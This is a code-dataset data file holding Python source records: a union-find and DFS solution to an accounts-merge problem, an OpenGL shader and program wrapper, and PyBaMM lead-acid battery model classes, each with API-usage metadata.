"typing.List", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 28, "usage_type": "name"}, {"api_name": "haoda.ir.Type", "line_number": 28, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 29, "usage_type": "name"}, {"api_name": "haoda.ir.Type", "line_number": 29, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 29, "usage_type": "name"}, {"api_name": "soda.dataflow.SuperSourceNode", "line_number": 30, "usage_type": "attribute"}, {"api_name": "soda.dataflow", "line_number": 30, "usage_type": "name"}, {"api_name": "haoda.util.get_bundle_name", "line_number": 48, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 48, "usage_type": "name"}, {"api_name": "haoda.util.get_port_name", "line_number": 49, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 49, "usage_type": "name"}, {"api_name": "haoda.util.get_port_buf_name", "line_number": 50, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 55, "usage_type": "name"}, {"api_name": "itertools.chain.from_iterable", "line_number": 92, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 92, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 105, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 105, "usage_type": "attribute"}, {"api_name": "haoda.util.CppPrinter", "line_number": 144, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 144, "usage_type": "name"}, {"api_name": "soda.core.Stencil", "line_number": 204, "usage_type": "attribute"}, {"api_name": "soda.core", "line_number": 204, "usage_type": "name"}, {"api_name": "typing.IO", "line_number": 205, "usage_type": "name"}, {"api_name": "haoda.util.CppPrinter", "line_number": 211, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 211, "usage_type": "name"}, {"api_name": "soda.core.get_stencil_dim", "line_number": 229, "usage_type": "call"}, {"api_name": "soda.core", "line_number": 229, "usage_type": "name"}, {"api_name": "haoda.util.CppPrinter", "line_number": 272, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 272, "usage_type": "name"}, {"api_name": "haoda.ir.Module", "line_number": 272, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 272, "usage_type": "name"}, {"api_name": "haoda.util.get_func_name", "line_number": 274, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 274, "usage_type": "name"}, {"api_name": "haoda.util.get_port_buf_name", "line_number": 277, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 277, "usage_type": "name"}, {"api_name": "haoda.util.get_port_name", "line_number": 279, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 279, "usage_type": "name"}, {"api_name": "haoda.ir.DelayedRef", "line_number": 294, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 294, "usage_type": "name"}, {"api_name": "haoda.ir.Node", "line_number": 299, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 299, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 299, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 299, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 300, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 300, "usage_type": "name"}, {"api_name": "haoda.ir.Var", "line_number": 312, "usage_type": "call"}, {"api_name": "haoda.ir", "line_number": 312, "usage_type": "name"}, {"api_name": "haoda.ir.Node", "line_number": 316, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 316, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 316, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 316, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 317, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 317, "usage_type": "name"}, {"api_name": "haoda.ir.Var", "line_number": 330, "usage_type": "call"}, {"api_name": "haoda.ir", "line_number": 330, "usage_type": "name"}, {"api_name": "haoda.ir.ModuleTrait", "line_number": 340, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 340, "usage_type": "name"}, {"api_name": "haoda.ir.FIFORef", "line_number": 352, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 352, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 373, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 373, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 373, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 373, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 374, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 375, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 375, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 375, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 375, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 376, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 378, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 379, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 379, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 379, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 380, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 380, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 380, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 386, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 386, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 386, "usage_type": "name"}, {"api_name": "haoda.ir.visitor.get_dram_refs", "line_number": 386, "usage_type": "call"}, {"api_name": "haoda.ir.visitor", "line_number": 386, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 387, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 387, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 387, "usage_type": "name"}, {"api_name": "haoda.ir.visitor.get_dram_refs", "line_number": 387, "usage_type": "call"}, {"api_name": "haoda.ir.visitor", "line_number": 387, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 393, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 393, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 393, "usage_type": "name"}, {"api_name": "haoda.ir.DRAMRef", "line_number": 393, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 393, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 394, "usage_type": "call"}, {"api_name": "haoda.util.InternalError", "line_number": 428, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 428, "usage_type": "name"}, {"api_name": "haoda.util.InternalError", "line_number": 466, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 466, "usage_type": "name"}, {"api_name": "haoda.util.CppPrinter", "line_number": 488, "usage_type": "attribute"}, {"api_name": "haoda.util", "line_number": 488, "usage_type": "name"}, {"api_name": "haoda.ir.ModuleTrait", "line_number": 489, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 489, "usage_type": "name"}, {"api_name": "haoda.util.get_func_name", "line_number": 494, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 494, "usage_type": "name"}, {"api_name": "haoda.util.get_module_name", "line_number": 495, "usage_type": "call"}, {"api_name": "haoda.util", "line_number": 495, "usage_type": "name"}, {"api_name": "haoda.ir.DelayedRef", "line_number": 497, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 497, "usage_type": "name"}, {"api_name": "haoda.ir.FIFORef", "line_number": 655, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 655, "usage_type": "name"}, {"api_name": "haoda.ir.FIFORef", "line_number": 658, "usage_type": "attribute"}, {"api_name": "haoda.ir", "line_number": 658, "usage_type": "name"}]} {"seq_id": "482696884", "text": "from collections import defaultdict\nclass UnionFind(object):\n def __init__(self, accounts):\n self.parent = list(range(10001))\n self.rank = [0] * 10001\n def find(self, x):\n if self.parent[x] == x: # x's parent is its own\n return x\n self.parent[x] = self.find(self.parent[x]) # else search for its parent\n # and change x's parent, a heuristic called path compression\n return self.parent[x]\n def union(self, x, y):\n self.parent[self.find(x)] = self.find(y)\n def union_by_rank(self, x, y):\n rootx = self.find(x)\n rooty = self.find(y)\n if rootx != rooty:\n if self.rank[rootx] > self.rank[rooty]:\n self.parent[rooty] = rootx\n elif self.rank[rootx] < self.rank[rooty]:\n self.parent[rootx] = rooty\n else:\n self.parent[rooty] = rootx\n self.rank[rootx] += 1\n\n\nclass Solution(object):\n def accountsMerge(self, accounts):\n \"\"\"\n :type accounts: List[List[str]]\n :rtype: List[List[str]]\n \"\"\"\n uf = UnionFind(accounts)\n email_to_name = {}\n email_to_id = {}\n i = 0\n for acc in accounts:\n name = acc[0]\n for email in acc[1:]:\n email_to_name[email] = name # name can be replaced\n if email not in email_to_id: # but id should be unique\n email_to_id[email] = i\n i += 1\n uf.union_by_rank(email_to_id[acc[1]], email_to_id[email]) # Union all element in same list\n\n ans = defaultdict(list)\n for email in email_to_name:\n parent = uf.find(email_to_id[email])\n ans[parent].append(email)\n return [[email_to_name[v[0]]] + sorted(v) for v in ans.values()]\n\n # For every pair of emails in the same account, draw an edge between those emails\n # Then dfs to merge the connected components\n def accountsMerge2(self, accounts):\n em_to_name = {}\n graph = defaultdict(set)\n for acc in accounts:\n name = acc[0]\n for email in acc[1:]:\n graph[acc[1]].add(email)\n graph[email].add(acc[1])\n em_to_name[email] = name\n\n seen = set()\n ans = []\n for email in graph:\n if email not in seen: # visit the unvisited\n seen.add(email) # mark visited\n stack = [email]\n component = []\n while stack: # visit connected component\n node = stack.pop()\n component.append(node)\n for nei in graph[node]:\n if nei not in seen:\n seen.add(nei)\n stack.append(nei)\n ans.append([em_to_name[email]] + sorted(component))\n return ans\n\n\naccounts = [[\"John\", \"johnsmith@mail.com\", \"john00@mail.com\"],\n [\"John\", \"johnnybravo@mail.com\"],\n [\"John\", \"johnsmith@mail.com\", \"john_newyork@mail.com\"],\n [\"Mary\", \"mary@mail.com\"]]\n# accounts = [[\"Gabe\",\"Gabe0@m.co\",\"Gabe3@m.co\",\"Gabe1@m.co\"],\n# [\"Kevin\",\"Kevin3@m.co\",\"Kevin5@m.co\",\"Kevin0@m.co\"],\n# [\"Ethan\",\"Ethan5@m.co\",\"Ethan4@m.co\",\"Ethan0@m.co\"],\n# [\"Hanzo\",\"Hanzo3@m.co\",\"Hanzo1@m.co\",\"Hanzo0@m.co\"],\n# [\"Fern\",\"Fern5@m.co\",\"Fern1@m.co\",\"Fern0@m.co\"]]\nprint(Solution().accountsMerge2(accounts))", "sub_path": "721AccMerge.py", "file_name": "721AccMerge.py", "file_ext": "py", "file_size_in_byte": 3491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 46, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 56, "usage_type": "call"}]} {"seq_id": "327639464", "text": "from OpenGL import GL\n\nfrom .vertex import ProgramVertexAttribute\nfrom .uniform_block import ProgramUniformBlock\n\nfrom contextlib import contextmanager\n\nimport ctypes as c\n\nshader_types = { 'vertex': GL.GL_VERTEX_SHADER\n\t\t\t , 'fragment': GL.GL_FRAGMENT_SHADER\n\t\t\t , 'geometry': GL.GL_GEOMETRY_SHADER\n\t\t\t , 'tesselation control': GL.GL_TESS_CONTROL_SHADER\n\t\t\t , 'tesselation evaluation': GL.GL_TESS_EVALUATION_SHADER }\nshader_types.update({t: t for t in shader_types.values()})\n\nclass Shader:\n\tdef __init__(self, source, shader_type):\n\t\tself.shader_type = shader_types[shader_type]\n\t\tself.handle = GL.glCreateShader(self.shader_type)\n\t\tif self.handle == 0:\n\t\t\traise RuntimeError(\"Failed to create shader.\")\n\n\t\tGL.glShaderSource(self.handle, source)\n\t\tGL.glCompileShader(self.handle)\n\t\tif GL.glGetShaderiv(self.handle, GL.GL_COMPILE_STATUS) == GL.GL_FALSE:\n\t\t\tlog = GL.glGetShaderInfoLog(self.handle).decode()\n\t\t\traise RuntimeError(\"Failed to compile {}: \\n\\n{}\".format(self.shader_type, log))\n\n\tdef delete(self):\n\t\t'''Delete the shader to free up GL resources.\n\n\t\t.. warning::\n\n\t\t Do not use the shader object after running this method.\n\t\t'''\n\n\t\tGL.glDeleteShader(self.handle)\n\nclass Program:\n\t\"\"\"An OpenGL program.\n\t\n\t:param shaders: The shaders. It is good practice to delete them after creating the program.\n\t:type shaders: [:py:class:`Shader`]\n\t:param attributes: The vertex attributes used in the program\n\t:type attributes: [:py:class:`.VertexAttribute`]\n\t:param uniform_blocks: The uniform blocks defined in the program\n\t:type uniform_blocks: [:py:class:`.UniformBlock`]\n\t\"\"\"\n\n\tdef __init__(self, shaders, vertex_attributes=None, uniform_blocks=None,\n\t xfb_varyings=None, xfb_mode=GL.GL_INTERLEAVED_ATTRIBS):\n\t\tself.handle = GL.glCreateProgram()\n\t\tif self.handle == 0:\n\t\t\traise RuntimeError(\"Failed to create OpenGL program.\")\n\n\t\tfor shader in shaders:\n\t\t\tGL.glAttachShader(self.handle, shader.handle)\n\n\t\tself.xfb_varyings = xfb_varyings\n\t\tif xfb_varyings is not None:\n\t\t\tvaryings = (c.c_char_p * len(xfb_varyings))(*(v.name.encode() for v in self.xfb_varyings))\n\t\t\tvaryings = c.cast(varyings, c.POINTER(c.POINTER(c.c_char)))\n\t\t\tGL.glTransformFeedbackVaryings(self.handle, len(xfb_varyings), varyings, xfb_mode)\n\t\tself._xfb_mode = xfb_mode\n\n\t\tGL.glLinkProgram(self.handle)\n\t\tif GL.glGetProgramiv(self.handle, GL.GL_LINK_STATUS) == GL.GL_FALSE:\n\t\t\tlog = GL.glGetProgramInfoLog(self.handle).decode()\n\t\t\tGL.glDeleteProgram(self.handle)\n\t\t\traise RuntimeError(\"Failed to link program: \\n\\n{}\".format(log))\n\n\t\tself.uniform_blocks = { ub.name: ProgramUniformBlock.fromUniformBlock(self, ub)\n\t\t for ub in uniform_blocks or []}\n\t\tself.vertex_attributes = { v.name: ProgramVertexAttribute.fromVertexAttribute(self, v)\n\t\t for v in vertex_attributes or [] }\n\n\t@property\n\tdef xfb_mode(self):\n\t\treturn self._xfb_mode\n\n\t@xfb_mode.setter\n\tdef xfb_mode(self, xfb_mode):\n\t\tvaryings = (c.c_char_p * len(xfb_varyings))(*(v.name for v in self.xfb_varyings))\n\t\tvaryings = c.cast(varyings, c.POINTER(c.POINTER(c.c_char)))\n\t\tGL.glTransformFeedbackVaryings(self.handle, len(xfb_varyings), varyings, xfb_mode)\n\t\tself._xfb_mode = xfb_mode\n\n\t@classmethod\n\tdef fromSources(cls, sources, **kwargs):\n\t\tshaders = []\n\t\ttry:\n\t\t\tfor shader_type, shader in sources.items():\n\t\t\t\tshaders.append(Shader(shader, shader_type))\n\t\t\tprogram = cls(shaders, **kwargs)\n\t\tfinally:\n\t\t\tfor shader in shaders:\n\t\t\t\tshader.delete()\n\t\treturn program\n\n\tdef __enter__(self):\n\t\t'''Programs provide a context manager that binds and then unbinds them.\n\n\t\t.. _program-bind-warning:\n\t\t.. warning::\n\n\t\t It is not allowed to bind multiple programs (or one program multiple times).\n\t\t \n\t\t Methods that bind a program will be documented.\n\t\t'''\n\t\tGL.glUseProgram(self.handle)\n\t\n\tdef __exit__(self, ty, val, tr):\n\t\tGL.glUseProgram(0)\n\n\t@contextmanager\n\tdef feedback(self, mode=GL.GL_POINTS):\n\t\tGL.glBeginTransformFeedback(mode)\n\t\tyield\n\t\tGL.glEndTransformFeedback()\n", "sub_path": "GLPy/program.py", "file_name": "program.py", "file_ext": "py", "file_size_in_byte": 3981, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "OpenGL.GL.GL_VERTEX_SHADER", "line_number": 10, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 10, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_FRAGMENT_SHADER", "line_number": 11, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 11, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_GEOMETRY_SHADER", "line_number": 12, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 12, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_TESS_CONTROL_SHADER", "line_number": 13, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 13, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_TESS_EVALUATION_SHADER", "line_number": 14, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 14, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateShader", "line_number": 20, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 20, "usage_type": "name"}, {"api_name": "OpenGL.GL.glShaderSource", "line_number": 24, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 24, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCompileShader", "line_number": 25, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 25, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetShaderiv", "line_number": 26, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 26, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_COMPILE_STATUS", "line_number": 26, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.GL_FALSE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetShaderInfoLog", "line_number": 27, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 27, "usage_type": "name"}, {"api_name": "OpenGL.GL.glDeleteShader", "line_number": 38, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 38, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_INTERLEAVED_ATTRIBS", "line_number": 52, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 52, "usage_type": "name"}, {"api_name": "OpenGL.GL.glCreateProgram", "line_number": 53, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 53, "usage_type": "name"}, {"api_name": "OpenGL.GL.glAttachShader", "line_number": 58, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 58, "usage_type": "name"}, {"api_name": "ctypes.c_char_p", "line_number": 62, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 63, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 63, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 63, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glTransformFeedbackVaryings", "line_number": 64, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 64, "usage_type": "name"}, {"api_name": "OpenGL.GL.glLinkProgram", "line_number": 67, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 67, "usage_type": "name"}, {"api_name": "OpenGL.GL.glGetProgramiv", "line_number": 68, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 68, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_LINK_STATUS", "line_number": 68, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.GL_FALSE", "line_number": 68, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glGetProgramInfoLog", "line_number": 69, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 69, "usage_type": "name"}, {"api_name": "OpenGL.GL.glDeleteProgram", "line_number": 70, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 70, "usage_type": "name"}, {"api_name": "uniform_block.ProgramUniformBlock.fromUniformBlock", "line_number": 73, "usage_type": "call"}, {"api_name": "uniform_block.ProgramUniformBlock", "line_number": 73, "usage_type": "name"}, {"api_name": "vertex.ProgramVertexAttribute.fromVertexAttribute", "line_number": 75, "usage_type": "call"}, {"api_name": "vertex.ProgramVertexAttribute", "line_number": 75, "usage_type": "name"}, {"api_name": "ctypes.c_char_p", "line_number": 84, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 85, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 85, "usage_type": "call"}, {"api_name": "ctypes.c_char", "line_number": 85, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glTransformFeedbackVaryings", "line_number": 86, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 86, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUseProgram", "line_number": 111, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 111, "usage_type": "name"}, {"api_name": "OpenGL.GL.glUseProgram", "line_number": 114, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 114, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_POINTS", "line_number": 117, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 117, "usage_type": "name"}, {"api_name": "OpenGL.GL.glBeginTransformFeedback", "line_number": 118, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 118, "usage_type": "name"}, {"api_name": "OpenGL.GL.glEndTransformFeedback", "line_number": 120, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 120, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 116, "usage_type": "name"}]} {"seq_id": "371465291", "text": "#\n# Lead-acid higher-order models (FOQS and Composite)\n#\nimport pybamm\nfrom .base_lead_acid_model import BaseModel\n\n\nclass HigherOrderBaseModel(BaseModel):\n \"\"\"Base model for higher-order models for lead-acid, from [1]_.\n Uses leading-order model from :class:`pybamm.lead_acid.LOQS`\n\n References\n ----------\n .. [1] V Sulzer, SJ Chapman, CP Please, DA Howey, and CW Monroe. Faster Lead-Acid\n Battery Simulations from Porous-Electrode Theory: II. Asymptotic Analysis.\n arXiv preprint arXiv:1902.01774, 2019.\n\n\n **Extends:** :class:`pybamm.lead_acid.BaseModel`\n \"\"\"\n\n def __init__(self, options=None, name=\"Composite model\"):\n super().__init__(options, name)\n\n self.set_leading_order_model()\n self.set_reactions()\n self.set_current_collector_submodel()\n # Electrolyte submodel to get first-order concentrations\n self.set_electrolyte_diffusion_submodel()\n self.set_other_species_diffusion_submodels()\n # Average interface submodel to get average first-order potential differences\n self.set_average_interfacial_submodel()\n # Electrolyte and solid submodels to get full first-order potentials\n self.set_negative_electrode_submodel()\n self.set_electrolyte_conductivity_submodel()\n self.set_positive_electrode_submodel()\n # Update interface, porosity and convection with full potentials\n self.set_full_interface_submodel()\n self.set_full_convection_submodel()\n self.set_full_porosity_submodel()\n self.set_thermal_submodel()\n\n self.build_model()\n\n def set_leading_order_model(self):\n leading_order_model = pybamm.lead_acid.LOQS(\n self.options, name=\"LOQS model (for composite model)\"\n )\n self.update(leading_order_model)\n self.reaction_submodels = leading_order_model.reaction_submodels\n\n # Leading-order variables\n leading_order_variables = {}\n for variable in self.variables.keys():\n leading_order_variables[\n \"Leading-order \" + variable.lower()\n ] = leading_order_model.variables[variable]\n self.variables.update(leading_order_variables)\n self.variables[\n \"Leading-order electrolyte concentration change\"\n ] = leading_order_model.rhs[\n leading_order_model.variables[\"Average electrolyte concentration\"]\n ]\n\n def set_current_collector_submodel(self):\n self.submodels[\"current collector\"] = pybamm.current_collector.Uniform(\n self.param\n )\n\n def set_average_interfacial_submodel(self):\n self.submodels[\n \"average negative interface\"\n ] = pybamm.interface.lead_acid.InverseFirstOrderKinetics(self.param, \"Negative\")\n self.submodels[\n \"average negative interface\"\n ].reaction_submodels = self.reaction_submodels[\"Negative\"]\n self.submodels[\n \"average positive interface\"\n ] = pybamm.interface.lead_acid.InverseFirstOrderKinetics(self.param, \"Positive\")\n self.submodels[\n \"average positive interface\"\n ].reaction_submodels = self.reaction_submodels[\"Positive\"]\n\n def set_electrolyte_conductivity_submodel(self):\n self.submodels[\n \"electrolyte conductivity\"\n ] = pybamm.electrolyte.stefan_maxwell.conductivity.FirstOrder(self.param)\n\n def set_negative_electrode_submodel(self):\n self.submodels[\"negative electrode\"] = pybamm.electrode.ohm.Composite(\n self.param, \"Negative\"\n )\n\n def set_positive_electrode_submodel(self):\n self.submodels[\"positive electrode\"] = pybamm.electrode.ohm.Composite(\n self.param, \"Positive\"\n )\n\n def set_full_interface_submodel(self):\n \"\"\"\n Set full interface submodel, to get spatially heterogeneous interfacial current\n densities\n \"\"\"\n # Main reaction\n self.submodels[\n \"negative interface\"\n ] = pybamm.interface.lead_acid.FirstOrderButlerVolmer(self.param, \"Negative\")\n self.submodels[\n \"positive interface\"\n ] = pybamm.interface.lead_acid.FirstOrderButlerVolmer(self.param, \"Positive\")\n\n # Oxygen\n if \"oxygen\" in self.options[\"side reactions\"]:\n self.submodels[\n \"positive oxygen interface\"\n ] = pybamm.interface.lead_acid_oxygen.FirstOrderForwardTafel(\n self.param, \"Positive\"\n )\n self.submodels[\n \"negative oxygen interface\"\n ] = pybamm.interface.lead_acid_oxygen.FullDiffusionLimited(\n self.param, \"Negative\"\n )\n\n def set_full_convection_submodel(self):\n \"\"\"\n Update convection submodel, now that we have the spatially heterogeneous\n interfacial current densities\n \"\"\"\n if self.options[\"convection\"] is False:\n self.submodels[\"full convection\"] = pybamm.convection.NoConvection(\n self.param\n )\n if self.options[\"convection\"] is True:\n self.submodels[\"full convection\"] = pybamm.convection.Composite(self.param)\n\n def set_full_porosity_submodel(self):\n \"\"\"\n Update porosity submodel, now that we have the spatially heterogeneous\n interfacial current densities\n \"\"\"\n self.submodels[\"full porosity\"] = pybamm.porosity.Full(self.param)\n\n @property\n def default_solver(self):\n \"\"\"\n Create and return the default solver for this model\n \"\"\"\n # Different solver depending on whether we solve ODEs or DAEs\n if self.options[\"surface form\"] == \"algebraic\":\n return pybamm.ScikitsDaeSolver()\n else:\n return pybamm.ScipySolver()\n\n\nclass FOQS(HigherOrderBaseModel):\n \"\"\"First-order quasi-static model for lead-acid, from [1]_.\n Uses leading-order model from :class:`pybamm.lead_acid.LOQS`\n\n References\n ----------\n .. [1] V Sulzer, SJ Chapman, CP Please, DA Howey, and CW Monroe. Faster Lead-Acid\n Battery Simulations from Porous-Electrode Theory: II. Asymptotic Analysis.\n arXiv preprint arXiv:1902.01774, 2019.\n\n\n **Extends:** :class:`pybamm.lead_acid.HigherOrderBaseModel`\n \"\"\"\n\n def __init__(self, options=None, name=\"FOQS model\"):\n super().__init__(options, name)\n\n def set_electrolyte_diffusion_submodel(self):\n self.submodels[\n \"electrolyte diffusion\"\n ] = pybamm.electrolyte.stefan_maxwell.diffusion.FirstOrder(\n self.param, self.reactions\n )\n\n def set_other_species_diffusion_submodels(self):\n if \"oxygen\" in self.options[\"side reactions\"]:\n self.submodels[\"oxygen diffusion\"] = pybamm.oxygen_diffusion.FirstOrder(\n self.param, self.reactions\n )\n\n def set_full_porosity_submodel(self):\n \"\"\"\n Update porosity submodel, now that we have the spatially heterogeneous\n interfacial current densities\n \"\"\"\n # TODO: fix shape for jacobian\n pass\n\n\nclass Composite(HigherOrderBaseModel):\n \"\"\"Composite model for lead-acid, from [1]_.\n Uses leading-order model from :class:`pybamm.lead_acid.LOQS`\n\n References\n ----------\n .. [1] V Sulzer, SJ Chapman, CP Please, DA Howey, and CW Monroe. Faster Lead-Acid\n Battery Simulations from Porous-Electrode Theory: II. Asymptotic Analysis.\n arXiv preprint arXiv:1902.01774, 2019.\n\n\n **Extends:** :class:`pybamm.lead_acid.HigherOrderBaseModel`\n \"\"\"\n\n def __init__(self, options=None, name=\"Composite model\"):\n super().__init__(options, name)\n\n def set_electrolyte_diffusion_submodel(self):\n self.submodels[\n \"electrolyte diffusion\"\n ] = pybamm.electrolyte.stefan_maxwell.diffusion.Composite(\n self.param, self.reactions\n )\n\n def set_other_species_diffusion_submodels(self):\n if \"oxygen\" in self.options[\"side reactions\"]:\n self.submodels[\"oxygen diffusion\"] = pybamm.oxygen_diffusion.Composite(\n self.param, self.reactions\n )\n\n def set_full_porosity_submodel(self):\n \"\"\"\n Update porosity submodel, now that we have the spatially heterogeneous\n interfacial current densities\n \"\"\"\n self.submodels[\"full porosity\"] = pybamm.porosity.Full(self.param)\n\n\nclass CompositeExtended(HigherOrderBaseModel):\n \"\"\"Extended composite model for lead-acid.\n Uses leading-order model from :class:`pybamm.lead_acid.LOQS`\n\n **Extends:** :class:`pybamm.lead_acid.HigherOrderBaseModel`\n \"\"\"\n\n def __init__(self, options=None, name=\"Extended composite model\"):\n super().__init__(options, name)\n\n def set_electrolyte_diffusion_submodel(self):\n self.submodels[\n \"electrolyte diffusion\"\n ] = pybamm.electrolyte.stefan_maxwell.diffusion.Composite(\n self.param, self.reactions, extended=True\n )\n\n def set_other_species_diffusion_submodels(self):\n if \"oxygen\" in self.options[\"side reactions\"]:\n self.submodels[\"oxygen diffusion\"] = pybamm.oxygen_diffusion.Composite(\n self.param, self.reactions, extended=True\n )\n\n def set_full_porosity_submodel(self):\n \"\"\"\n Update porosity submodel, now that we have the spatially heterogeneous\n interfacial current densities\n \"\"\"\n self.submodels[\"full porosity\"] = pybamm.porosity.Full(self.param)\n", "sub_path": "pybamm/models/full_battery_models/lead_acid/higher_order.py", "file_name": "higher_order.py", "file_ext": "py", "file_size_in_byte": 9548, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base_lead_acid_model.BaseModel", "line_number": 8, "usage_type": "name"}, {"api_name": "pybamm.lead_acid.LOQS", "line_number": 46, "usage_type": "call"}, {"api_name": "pybamm.lead_acid", "line_number": 46, "usage_type": "attribute"}, 